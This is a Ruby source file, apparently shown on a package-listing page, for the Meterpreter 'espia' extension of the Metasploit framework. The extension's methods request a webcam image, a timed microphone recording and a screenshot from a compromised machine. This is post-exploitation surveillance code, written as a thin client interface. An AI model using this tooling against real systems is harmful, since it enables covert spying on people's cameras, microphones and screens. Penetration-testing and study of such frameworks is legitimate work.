Sha256: f16d624c97b1a521aff7f893e84da522a47b9e234097df4d07f014ed2e3d126f
Contents?: true
Size: 1.08 KB
Versions: 43
Compression:
Stored size: 1.08 KB
Contents
#!/usr/bin/env ruby require 'rex/post/meterpreter/extensions/espia/tlv' module Rex module Post module Meterpreter module Extensions module Espia ### # # This meterpreter extensions interface that is capable # grab webcam frame and recor mic audio # ### class Espia < Extension def initialize(client) super(client, 'espia') client.register_extension_aliases( [ { 'name' => 'espia', 'ext' => self }, ]) end def espia_video_get_dev_image() request = Packet.create_request('espia_video_get_dev_image') response = client.send_request(request) return true end def espia_audio_get_dev_audio(rsecs) request = Packet.create_request('espia_audio_get_dev_audio') request.add_tlv(TLV_TYPE_DEV_RECTIME, rsecs) response = client.send_request(request) return true end def espia_image_get_dev_screen request = Packet.create_request( 'espia_image_get_dev_screen' ) response = client.send_request( request ) if( response.result == 0 ) return response.get_tlv_value( TLV_TYPE_DEV_SCREEN ) end return nil end end end; end; end; end; end
Version data entries
43 entries across 43 versions & 1 rubygems